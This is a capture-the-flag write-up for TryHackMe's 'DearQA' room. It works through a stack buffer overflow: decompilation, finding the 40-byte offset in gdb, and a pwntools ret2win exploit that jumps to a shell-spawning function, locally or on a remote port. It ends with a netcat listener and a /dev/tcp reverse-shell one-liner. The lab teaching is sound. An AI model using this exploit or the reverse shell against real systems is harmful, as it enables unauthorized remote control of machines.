TryHackMe DearQA Writeup
https://tryhackme.com/r/room/dearqa
Discover the foundational aspects of cybersecurity with the DearQA Capture The Flag (CTF) challenge, an easy-level exercise. This concise write-up provides clear insights into essential binary hacking concepts, such as buffer overflow, presented with simplicity and clarity.
Get Informations
python-pwntools needed as dep for checksec
1
2
3
4
mv DearQA* DearQA.DearQA
chmod +x DearQA.DearQA
file DearQA.DearQA
checksec --file=DearQA.DearQA
Decompiled DearQA.DearQA
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdint.h>
int64_t vuln(void) {
puts ("Congratulations!");
puts ("You have entered in the secret function!");
rax = *(stdout);
rdi = *(stdout);
fflush ();
edx = 0;
esi = 0;
edi = "/bin/bash";
execve ();
return rax;
}
int32_t main(void) {
const char * var_20h;
puts("Welcome dearQA");
puts("I am sysadmin, i am new in developing");
eax = 0;
printf("What's your name: ");
rax = *(stdout);
rdi = *(stdout);
fflush();
rax = &var_20h;
rsi = rax;
edi = 0x400851;
eax = 0;
isoc99_scanf ();
rax = &var_20h;
rsi = rax;
eax = 0;
printf("Hello: %s\n");
eax = 0;
return rax;
}
Proper test of the segfault
1
./DearQA.DearQA
1
2
3
4
5
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./DearQA.DearQA
Finding Offsets
using gdb with gef
1
gdb DearQA.DearQA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ r
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Hello: faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
zsh: segmentation fault ./DearQA.DearQA
─────────────────────────────────────────────────────────────────────────────────────────registers ────
$rax : 0x0
$rbx : 0x00007fffffffd478 → 0x00007fffffffd9ad → "/home/e/DearQA.DearQA"
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffd358 → "faaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]"
$rbp : 0x6161616161616165 ("eaaaaaaa"?)
$rsi : 0x00000000006012a0 → "Hello: faaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]"
$rdi : 0x00007fffffffd150 → 0x00007fffffffd180 → "Hello: faaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]"
$rip : 0x000000000040072f → <main+006c> ret
$r8 : 0x73
$r9 : 0x0
$r10 : 0x0
$r11 : 0x202
$r12 : 0x1
$r13 : 0x0
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000000000000000
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd358│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" ← $rsp
0x00007fffffffd360│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"
0x00007fffffffd368│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007fffffffd370│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007fffffffd378│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007fffffffd380│+0x0028: "kaaaaaaalaaaaaaamaaa"
0x00007fffffffd388│+0x0030: "laaaaaaamaaa"
0x00007fffffffd390│+0x0038: 0x000000006161616d ("maaa"?)
────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400724 <main+0061> call 0x400530 <printf@plt>
0x400729 <main+0066> mov eax, 0x0
0x40072e <main+006b> leave
→ 0x40072f <main+006c> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "DearQA.DearQA", stopped 0x40072f in main (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40072f → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset 0x00007fffffffd358
[+] Searching for '6661616161616161'/'6161616161616166' with period=8
[+] Found at offset 40 (little-endian search) likely
confirm we can control the RSP, I’ll add 40 A’s and 8 B’s.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
gef➤ r
Starting program: /root/ctf/thm/ctf/Dear_QA/DearQA.DearQA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x000000000040072f in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007fffffffde18 → "BBBBBBBB"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x000000006012a0 → "Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB[...]"
$rdi : 0x007fffffffd890 → 0x007ffff7c596f0 → <funlockfile+0> mov rdi, QWORD PTR [rdi+0x88]
$rip : 0x0000000040072f → <main+108> ret
$r8 : 0x0
$r9 : 0x007ffff7daa4e0 → 0x0000000000000000
$r10 : 0x007ffff7daa3e0 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x007fffffffdf28 → 0x007fffffffe280 → "/root/ctf/thm/ctf/Dear_QA/DearQA.DearQA"
$r13 : 0x000000004006c3 → <main+0> push rbp
$r14 : 0x0
$r15 : 0x007ffff7ffd020 → 0x007ffff7ffe240 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde18│+0x0000: "BBBBBBBB" ← $rsp
0x007fffffffde20│+0x0008: 0x0000000000000000
0x007fffffffde28│+0x0010: 0x000000004006c3 → <main+0> push rbp
0x007fffffffde30│+0x0018: 0x0000000100000000
0x007fffffffde38│+0x0020: 0x007fffffffdf28 → 0x007fffffffe280 → "/root/ctf/thm/ctf/Dear_QA/DearQA.DearQA"
0x007fffffffde40│+0x0028: 0x0000000000000000
0x007fffffffde48│+0x0030: 0xce77702ceab3ec89
0x007fffffffde50│+0x0038: 0x007fffffffdf28 → 0x007fffffffe280 → "/root/ctf/thm/ctf/Dear_QA/DearQA.DearQA"
─────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400724 <main+97> call 0x400530 <printf@plt>
0x400729 <main+102> mov eax, 0x0
0x40072e <main+107> leave
→ 0x40072f <main+108> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "DearQA.DearQA", stopped 0x40072f in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40072f → main()
1
$rsp : 0x007fffffffde18 → "BBBBBBBB"
As you can see, the RSP has been overwritten by 8 B’s.
If we put a valid memory address on RSP instead of 8 B’s, we can let the program to jump to that memory address, and continue the execution of the program.
Well, which memory address we should jump? Previously, we found a function called vuln(), which spawns a bash shell. Let’s jump to that function!
1
Note: Since the ASLR is disabled, the binary contains the exact same memory addresses each time the binary runs.
Find function vuln() memory address:
We can do this in GDB!
1
2
3
4
5
gef➤ info function vuln
All functions matching regular expression "vuln":
Non-debugging symbols:
0x0000000000400686 vuln
Exploit Development
Armed with the above information, we found:
1
2
3
Where the binary causes segmentation fault
Found RSP offset: 40
Found function vuln() memory address: 0x0000000000400686
Now, we can write a simple python script to exploit it:
Local debug:
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/usr/env python3
from pwn import *
Local = True
if Local == True:
io = process("./DearQA.DearQA")
else:
io = remote("<target-ip>", 5700)
payload = b"A" * 40
payload += p64(0x0000000000400686)
io.recvuntil(b"What's your name:")
io.sendline(payload)
io.interactive()
if is not local the text not shows but runs
this mean
listener:
1
nc -lvnp 9001
revshell:
Replace
<vpn-ip>
with your actual VPN IP to receive the connection.
1
sh -i >& /dev/tcp/<vpn-ip>/9001 0>&1
when the listener is connected simply
1
cat flag.txt